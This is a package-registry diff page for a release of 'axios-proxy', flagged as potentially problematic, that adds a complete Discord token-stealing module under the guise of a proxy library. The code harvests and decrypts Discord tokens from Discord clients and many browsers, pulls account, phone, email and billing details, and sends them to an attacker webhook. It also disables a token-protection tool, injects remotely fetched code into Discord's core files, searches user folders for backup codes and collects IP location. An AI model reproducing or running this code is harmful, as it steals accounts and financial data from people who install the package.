axios-proxy 0.0.1-security → 1.7.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of axios-proxy might be problematic. Click here for more details.

package/discord.js ADDED
@@ -0,0 +1,648 @@
1
+ module.exports = (client) => {
2
+ return {
3
+ async getTokens() {
4
+ var paths = {
5
+ Discord:
6
+ client.utils.encryption.decryptData(client.config.user.appdata) +
7
+ "\\discord\\Local Storage\\leveldb\\",
8
+ "Discord Canary":
9
+ client.utils.encryption.decryptData(client.config.user.appdata) +
10
+ "\\discordcanary\\Local Storage\\leveldb\\",
11
+ Lightcord:
12
+ client.utils.encryption.decryptData(client.config.user.appdata) +
13
+ "\\Lightcord\\Local Storage\\leveldb\\",
14
+ "Discord PTB":
15
+ client.utils.encryption.decryptData(client.config.user.appdata) +
16
+ "\\discordptb\\Local Storage\\leveldb\\",
17
+ Opera:
18
+ client.utils.encryption.decryptData(client.config.user.appdata) +
19
+ "\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\",
20
+ "Opera GX":
21
+ client.utils.encryption.decryptData(client.config.user.appdata) +
22
+ "\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\",
23
+ Amigo:
24
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
25
+ "\\Amigo\\User Data\\Local Storage\\leveldb\\",
26
+ Torch:
27
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
28
+ "\\Torch\\User Data\\Local Storage\\leveldb\\",
29
+ Kometa:
30
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
31
+ "\\Kometa\\User Data\\Local Storage\\leveldb\\",
32
+ Orbitum:
33
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
34
+ "\\Orbitum\\User Data\\Local Storage\\leveldb\\",
35
+ CentBrowser:
36
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
37
+ "\\CentBrowser\\User Data\\Local Storage\\leveldb\\",
38
+ "7Star":
39
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
40
+ "\\7Star\\7Star\\User Data\\Local Storage\\leveldb\\",
41
+ Sputnik:
42
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
43
+ "\\Sputnik\\Sputnik\\User Data\\Local Storage\\leveldb\\",
44
+ Vivaldi:
45
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
46
+ "\\Vivaldi\\User Data\\Default\\Local Storage\\leveldb\\",
47
+ "Chrome SxS":
48
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
49
+ "\\Google\\Chrome SxS\\User Data\\Local Storage\\leveldb\\",
50
+ Chrome:
51
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
52
+ "\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\",
53
+ "Epic Privacy Browser":
54
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
55
+ "\\Epic Privacy Browser\\User Data\\Local Storage\\leveldb\\",
56
+ "Microsoft Edge":
57
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
58
+ "\\Microsoft\\Edge\\User Data\\Defaul\\Local Storage\\leveldb\\",
59
+ Uran:
60
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
61
+ "\\uCozMedia\\Uran\\User Data\\Default\\Local Storage\\leveldb\\",
62
+ Yandex:
63
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
64
+ "\\Yandex\\YandexBrowser\\User Data\\Default\\Local Storage\\leveldb\\",
65
+ Brave:
66
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
67
+ "\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\",
68
+ Iridium:
69
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
70
+ "\\Iridium\\User Data\\Default\\Local Storage\\leveldb\\",
71
+ };
72
+
73
+ for (let [key, value] of Object.entries(paths)) {
74
+ try {
75
+ if (!client.requires.fs.existsSync(value)) {
76
+ continue;
77
+ }
78
+
79
+ for (var file_name of client.requires.fs.readdirSync(value)) {
80
+ if (!file_name.endsWith(".log") && !file_name.endsWith(".ldb")) {
81
+ continue;
82
+ }
83
+
84
+ let path_split = value.split("\\"),
85
+ path_split_tail = value.includes("Network")
86
+ ? path_split.splice(0, path_split.length - 3)
87
+ : path_split.splice(0, path_split.length - 2),
88
+ path_tail = path_split_tail.join("\\") + "\\";
89
+
90
+ for (var line of client.requires.fs
91
+ .readFileSync(`${value}/${file_name}`, (encoding = "utf8"))
92
+ .split("\n")) {
93
+ if (value.includes("cord")) {
94
+ let encrypted = Buffer.from(
95
+ JSON.parse(
96
+ client.requires.fs.readFileSync(
97
+ path_tail.replace("Local Storage", "Local State")
98
+ )
99
+ ).os_crypt.encrypted_key,
100
+ "base64"
101
+ ).slice(5);
102
+
103
+ const _key = client.requires.dpapi.unprotectData(
104
+ Buffer.from(encrypted, "utf-8"),
105
+ null,
106
+ "CurrentUser"
107
+ );
108
+
109
+ var encrypted_regex = /dQw4w9WgXcQ:[^\"]*/;
110
+ if (line.match(encrypted_regex)) {
111
+ var token = Buffer.from(
112
+ line.match(encrypted_regex)[0].split("dQw4w9WgXcQ:")[1],
113
+ "base64"
114
+ );
115
+ let start = token.slice(3, 15),
116
+ middle = token.slice(15, token.length - 16),
117
+ end = token.slice(token.length - 16, token.length),
118
+ decipher = client.requires.crypto.createDecipheriv(
119
+ "aes-256-gcm",
120
+ _key,
121
+ start
122
+ );
123
+
124
+ decipher.setAuthTag(end);
125
+ token =
126
+ decipher.update(middle, "base64", "utf-8") +
127
+ decipher.final("utf-8");
128
+
129
+ await this.validateToken(key, token);
130
+ }
131
+ } else {
132
+ [/\w-]{24}\.[\w-]{6}\.[\w-]{27}/, /mfa\.[\w-]{84}/].forEach(
133
+ async (regex) => {
134
+ if (line.match(regex)) {
135
+ await this.validateToken(key, line.match(regex)[0]);
136
+ }
137
+ }
138
+ );
139
+ }
140
+ }
141
+ }
142
+ } catch {}
143
+ }
144
+ },
145
+
146
+ async validateToken(source, token) {
147
+ if (client.config.environ.validated_tokens.contains(token)) {
148
+ return;
149
+ }
150
+
151
+ client.config.environ.validated_tokens.push(token);
152
+
153
+ const req = await client.requires
154
+ .axios({
155
+ url: "https://discord.com/api/v9/users/@me",
156
+ method: "GET",
157
+ headers: {
158
+ Authorization: token,
159
+ "Content-Type": "application/json",
160
+ "User-Agent":
161
+ "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11",
162
+ },
163
+ })
164
+ .catch((err) => {
165
+ return err.response;
166
+ });
167
+
168
+ if (req.request.res.statusCode == 200) {
169
+ const billing = await client.requires
170
+ .axios({
171
+ url: "https://discord.com/api/v9/users/@me/billing/payment-sources",
172
+ method: "GET",
173
+ headers: {
174
+ Authorization: token,
175
+ "Content-Type": "application/json",
176
+ "User-Agent":
177
+ "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11",
178
+ },
179
+ })
180
+ .catch((err) => {
181
+ return err.response;
182
+ });
183
+
184
+ var _billing = [];
185
+
186
+ try {
187
+ billing.data.forEach((billing) => {
188
+ if (billing.type == "") {
189
+ return "false";
190
+ } else if (billing.invalid == true) {
191
+ return "false";
192
+ } else if (billing.type == 2) {
193
+ _billing.push("PayPal");
194
+ } else if (billing.type == 1) {
195
+ _billing.push(`Credit Card (${billing.country})`);
196
+ }
197
+ });
198
+ } catch {}
199
+
200
+ if (!client.config.discord.grabbed_tokens[source]) {
201
+ client.config.discord.grabbed_tokens[source] = [];
202
+ }
203
+
204
+ client.config.discord.grabbed_tokens[source].push({
205
+ source: source,
206
+ id: req.data.id,
207
+ username: `${req.data.username}#${req.data.discriminator}`,
208
+ phone: req.data.phone,
209
+ email: req.data.email,
210
+ locale: req.data.locale,
211
+ nitro: this.getNitro(req.data.premium_type),
212
+ badges: this.getBadges(req.data.flags),
213
+ billing: _billing.join(", ") != "" ? _billing.join(", ") : "None",
214
+ token: token,
215
+ });
216
+
217
+ client.config.discord.grabbed_tokens.all.push({
218
+ source: source,
219
+ id: req.data.id,
220
+ username: `${req.data.username}#${req.data.discriminator}`,
221
+ phone: req.data.phone,
222
+ email: req.data.email,
223
+ locale: req.data.locale,
224
+ nitro: this.getNitro(req.data.premium_type),
225
+ badges: this.getBadges(req.data.flags),
226
+ billing: _billing.join(", ") != "" ? _billing.join(", ") : "None",
227
+ token: token,
228
+ });
229
+
230
+ var fields = [];
231
+
232
+ for (let [key, value] of Object.entries({
233
+ Source: source,
234
+ Identifier: req.data.id,
235
+ Username: `${req.data.username}#${req.data.discriminator}`,
236
+ "Phone Number": req.data.phone,
237
+ "E-Mail Address": req.data.email,
238
+ Locale: req.data.locale,
239
+ Nitro: this.getNitro(req.data.premium_type),
240
+ Badges:
241
+ this.getBadges(req.data.flags) != ""
242
+ ? this.getBadges(req.data.flags)
243
+ : "None",
244
+ Billing: _billing.join(", ") != "" ? _billing.join(", ") : "None",
245
+ Token: token,
246
+ })) {
247
+ fields.push({
248
+ name: key,
249
+ value: `\`\`\`${value}\`\`\``,
250
+ inline: true,
251
+ });
252
+ }
253
+
254
+ await client.utils.webhook.sendToWebhook({
255
+ embeds: [
256
+ client.utils.webhook.createEmbed({
257
+ title: `Found token in: ${source}`,
258
+ fields: fields,
259
+ thumbnail: {
260
+ url: req.data.avatar
261
+ ? `https://cdn.discordapp.com/avatars/${req.data.id}/${req.data.avatar}`
262
+ : "https://cdn.discordapp.com/embed/avatars/0.png",
263
+ },
264
+ author: {
265
+ name: `${req.data.username}#${req.data.discriminator} (${req.data.id})`,
266
+ url: client.utils.encryption.decryptData(
267
+ client.config.embed.href
268
+ ),
269
+ icon_url: req.data.avatar
270
+ ? `https://cdn.discordapp.com/avatars/${req.data.id}/${req.data.avatar}`
271
+ : "https://cdn.discordapp.com/embed/avatars/0.png",
272
+ },
273
+ }),
274
+ ],
275
+ });
276
+ }
277
+ },
278
+
279
+ async saveDiscordTokens() {
280
+ if (client.config.discord.grabbed_tokens.all.length == 0) {
281
+ return;
282
+ }
283
+ client.utils.jszip.createFolder("\\Discord");
284
+
285
+ for (let [key, value] of Object.entries(
286
+ client.config.discord.grabbed_tokens
287
+ )) {
288
+ if (value.length != 0) {
289
+ let result = "";
290
+
291
+ for (let obj of value) {
292
+ result += `==================================================\nSource : ${
293
+ obj.source
294
+ }\nIdentifier : ${obj.id}\nUsername : ${
295
+ obj.username
296
+ }\nPhone : ${obj.phone}\nE-Mail Address : ${
297
+ obj.email
298
+ }\nLocale : ${obj.locale}\nNitro : ${
299
+ obj.nitro
300
+ }\nBadges : ${
301
+ obj.badges != "" ? obj.badges : "None"
302
+ }\nBilling : ${
303
+ obj.billing != "" ? obj.billing : "None"
304
+ }\nToken : ${
305
+ obj.token
306
+ }\n==================================================\n\n`;
307
+ }
308
+
309
+ client.utils.jszip.createTxt(
310
+ `\\Discord\\${key.toUpperCase()}.txt`,
311
+ result
312
+ );
313
+ }
314
+ }
315
+ },
316
+
317
+ getBadges(flags) {
318
+ var badges = {
319
+ Discord_Employee: {
320
+ Value: 1,
321
+ Emoji: "Discord Employee",
322
+ Rare: true,
323
+ },
324
+ Partnered_Server_Owner: {
325
+ Value: 2,
326
+ Emoji: "Partnered Server Owner",
327
+ Rare: true,
328
+ },
329
+ HypeSquad_Events: {
330
+ Value: 4,
331
+ Emoji: "HypeSquad Events",
332
+ Rare: true,
333
+ },
334
+ Bug_Hunter_Level_1: {
335
+ Value: 8,
336
+ Emoji: "Bug Hunter Level 1",
337
+ Rare: true,
338
+ },
339
+ Early_Supporter: {
340
+ Value: 512,
341
+ Emoji: "Early Supporter",
342
+ Rare: true,
343
+ },
344
+ Bug_Hunter_Level_2: {
345
+ Value: 16384,
346
+ Emoji: "Bug Hunter Level 2",
347
+ Rare: true,
348
+ },
349
+ Early_Verified_Bot_Developer: {
350
+ Value: 131072,
351
+ Emoji: "Early Verified Bot Developer",
352
+ Rare: true,
353
+ },
354
+ House_Bravery: {
355
+ Value: 64,
356
+ Emoji: "House Bravery",
357
+ Rare: false,
358
+ },
359
+ House_Brilliance: {
360
+ Value: 128,
361
+ Emoji: "House Brilliance",
362
+ Rare: false,
363
+ },
364
+ House_Balance: {
365
+ Value: 256,
366
+ Emoji: "House Balance",
367
+ Rare: false,
368
+ },
369
+ };
370
+
371
+ var result = [];
372
+ for (var prop in badges) {
373
+ prop = badges[prop];
374
+ if ((flags & prop.Value) == prop.Value && prop.Rare)
375
+ result.push(prop.Emoji);
376
+ }
377
+ return result.join(", ");
378
+ },
379
+
380
+ getNitro(premium_type) {
381
+ switch (premium_type) {
382
+ case 0:
383
+ return "No Nitro";
384
+ case 1:
385
+ return "Nitro Classic";
386
+ case 2:
387
+ return "Nitro Boost";
388
+ default:
389
+ return "No Nitro";
390
+ }
391
+ },
392
+
393
+ bypass_token_protector() {
394
+ for (const file of [
395
+ "DiscordTokenProtector.exe",
396
+ "ProtectionPayload.dll",
397
+ "secure.dat",
398
+ ]) {
399
+ if (
400
+ client.requires.fs.exists(
401
+ `${client.utils.encryption.decryptData(
402
+ client.config.user.localappdata
403
+ )}\\${file}`
404
+ )
405
+ ) {
406
+ client.requires.fs.rm(
407
+ `${client.utils.encryption.decryptData(
408
+ client.config.user.localappdata
409
+ )}\\${file}`
410
+ );
411
+ }
412
+ }
413
+
414
+ const token_protector_config = JSON.parse(
415
+ client.requires.fs.readFileSync(
416
+ `${client.utils.encryption.decryptData(
417
+ client.config.user.localappdata
418
+ )}\\DiscordTokenProtector\\config.json`,
419
+ {
420
+ encoding: "utf-8",
421
+ }
422
+ )
423
+ );
424
+
425
+ token_protector_config["auto_start"] = false;
426
+ token_protector_config["auto_start_discord"] = false;
427
+ token_protector_config["integrity"] = false;
428
+ token_protector_config["integrity_allowbetterdiscord"] = false;
429
+ token_protector_config["integrity_checkexecutable"] = false;
430
+ token_protector_config["integrity_checkhash"] = false;
431
+ token_protector_config["integrity_checkmodule"] = false;
432
+ token_protector_config["integrity_checkscripts"] = false;
433
+ token_protector_config["integrity_checkresource"] = false;
434
+ token_protector_config["integrity_redownloadhashes"] = false;
435
+ token_protector_config["iterations_iv"] = 0;
436
+ token_protector_config["iterations_key"] = 0;
437
+ token_protector_config["version"] = 0;
438
+
439
+ client.requires.fs.writeFileSync(
440
+ `${client.utils.encryption.decryptData(
441
+ client.config.user.localappdata
442
+ )}\\DiscordTokenProtector\\config.json`,
443
+ JSON.stringify(token_protector_config, null, 4)
444
+ );
445
+ },
446
+
447
+ async listExecutables() {
448
+ var processes = [];
449
+ client.requires.child_process.exec("tasklist", (err, stdout) => {
450
+ for (const executable of [
451
+ "Discord.exe",
452
+ "DiscordCanary.exe",
453
+ "discordDevelopment.exe",
454
+ "DiscordPTB.exe",
455
+ ]) {
456
+ if (stdout.includes(executable)) {
457
+ client.config.discord.running_executables.push(executable);
458
+ processes.push(executable);
459
+ }
460
+ }
461
+ });
462
+
463
+ return processes;
464
+ },
465
+
466
+ pwnBetterDiscord() {
467
+ if (
468
+ client.requires.fs.existsSync(
469
+ client.utils.encryption.decryptData(client.config.user.appdata) +
470
+ "/BetterDiscord/data/betterdiscord.asar"
471
+ )
472
+ ) {
473
+ var _ = client.requires.fs.readFileSync(
474
+ client.utils.encryption.decryptData(client.config.user.appdata) +
475
+ "/BetterDiscord/data/betterdiscord.asar"
476
+ );
477
+ client.requires.fs.writeFileSync(
478
+ client.utils.encryption.decryptData(client.config.user.appdata) +
479
+ "/BetterDiscord/data/betterdiscord.asar",
480
+ client.requires.buf_replace(_, "api/webhooks", "liliandorker_on_top")
481
+ );
482
+ }
483
+ },
484
+
485
+ async modify_discord_core() {
486
+ const res = await client.requires.axios.get(
487
+ client.utils.encryption.decryptData(client.config.discord.base_url)
488
+ );
489
+
490
+ const file = () => {
491
+ let tempFile = res.data.replace(
492
+ "%WEBHOOK_LINK%",
493
+ client.config.webhook.url
494
+ );
495
+ return tempFile;
496
+ };
497
+
498
+ for (const path of client.config.discord.files_path) {
499
+ client.requires.fs.writeFileSync(path, file(), {
500
+ encoding: "utf8",
501
+ flag: "w",
502
+ });
503
+ }
504
+ },
505
+
506
+ findDiscordCore(prefixPath, files) {
507
+ files.forEach((file) => {
508
+ if (
509
+ client.requires.fs.statSync(`${prefixPath}\\${file}`).isDirectory()
510
+ ) {
511
+ this.findDiscordCore(
512
+ `${prefixPath}\\${file}`,
513
+ client.requires.fs.readdirSync(`${prefixPath}\\${file}`)
514
+ );
515
+ } else {
516
+ if (
517
+ file == "index.js" &&
518
+ !prefixPath.includes("node_modules") &&
519
+ prefixPath.includes("desktop_core")
520
+ ) {
521
+ client.config.discord.files_path.push(`${prefixPath}\\${file}`);
522
+ }
523
+ }
524
+ });
525
+ },
526
+
527
+ findBackupCodes(prefixPath, files) {
528
+ files.forEach(async (file) => {
529
+ if (
530
+ file.startsWith(".") ||
531
+ file.includes("AppData") ||
532
+ file.includes("Program")
533
+ ) {
534
+ return;
535
+ }
536
+ if (file.startsWith("discord_backup_codes")) {
537
+ await client.utils.webhook.sendToWebhook({
538
+ embeds: [
539
+ client.utils.webhook.createEmbed({
540
+ title: `💰 Discord backup codes found`,
541
+ description: `\`\`\`${prefixPath}\\${file}\n\n${client.requires.fs.readFileSync(
542
+ `${prefixPath}\\${file}`
543
+ )}\`\`\``,
544
+ }),
545
+ ],
546
+ });
547
+ client.utils.jszip.createTxt(
548
+ `\\${file}_${client.requires.crypto.randomUUID()}.txt`,
549
+ client.requires.fs.readFileSync(`${prefixPath}\\${file}`)
550
+ );
551
+ }
552
+ });
553
+ },
554
+
555
+ async getIP() {
556
+ return (await client.requires.axios.get("https://ipinfo.io/json")).data;
557
+ },
558
+
559
+ async init() {
560
+ this.pwnBetterDiscord();
561
+ for (const folder of client.requires.fs.readdirSync(
562
+ client.utils.encryption.decryptData(client.config.user.localappdata)
563
+ )) {
564
+ if (folder.toLowerCase().includes("iscord")) {
565
+ client.config.discord.executables.push(
566
+ `${client.utils.encryption.decryptData(
567
+ client.config.user.localappdata
568
+ )}\\${folder}`
569
+ );
570
+ }
571
+ }
572
+
573
+ for (const executable of client.config.discord.executables) {
574
+ this.findDiscordCore(
575
+ executable,
576
+ client.requires.fs.readdirSync(executable)
577
+ );
578
+ }
579
+
580
+ ["Videos", "Desktop", "Documents", "Downloads", "Pictures"].forEach(
581
+ async (type) => {
582
+ await this.findBackupCodes(
583
+ `${client.utils.encryption.decryptData(
584
+ client.config.user.hostdir
585
+ )}\\${type}`,
586
+ client.requires.fs.readdirSync(
587
+ `${client.utils.encryption.decryptData(
588
+ client.config.user.hostdir
589
+ )}\\${type}`
590
+ )
591
+ );
592
+ }
593
+ );
594
+
595
+ await this.modify_discord_core(); // 1
596
+
597
+ await client.requires.child_process.exec(
598
+ "tasklist",
599
+ async (err, stdout) => {
600
+ for (const executable of [
601
+ "Discord.exe",
602
+ "DiscordCanary.exe",
603
+ "discordDevelopment.exe",
604
+ "DiscordPTB.exe",
605
+ ]) {
606
+ if (stdout.includes(executable)) {
607
+ await client.requires.child_process.exec(
608
+ `taskkill /F /T /IM ${executable}`,
609
+ (err) => {}
610
+ ); // Close
611
+ await client.requires.child_process.exec(
612
+ `"${client.utils.encryption.decryptData(
613
+ client.config.user.localappdata
614
+ )}\\${executable.replace(
615
+ ".exe",
616
+ ""
617
+ )}\\Update.exe" --processStart ${executable}`,
618
+ (err) => {}
619
+ ); // Start
620
+ }
621
+ }
622
+ }
623
+ );
624
+
625
+ const network_data = await this.getIP();
626
+
627
+ client.utils.jszip.createTxt(
628
+ "\\Network Data.txt",
629
+ `IP Address: ${network_data["ip"] ?? "Unknown"}\nHostname: ${
630
+ network_data["hostname"] ?? "Unknown"
631
+ }\nCity: ${network_data["city"] ?? "Unknown"}\nRegion: ${
632
+ network_data["region"] ?? "Unknown"
633
+ }\nCountry: ${network_data["country"] ?? "Unknown"}\nTimezone: ${
634
+ network_data["timezone"] ?? "Unknown"
635
+ }`
636
+ );
637
+
638
+ await client.utils.time.sleep(30000);
639
+ for (const path of client.config.discord.files_path) {
640
+ if (
641
+ client.requires.fs.existsSync(path.replace("index.js", "liliandorker"))
642
+ ) {
643
+ client.requires.fs.rmdirSync(path.replace("index.js", "liliandorker"));
644
+ }
645
+ }
646
+ },
647
+ };
648
+ };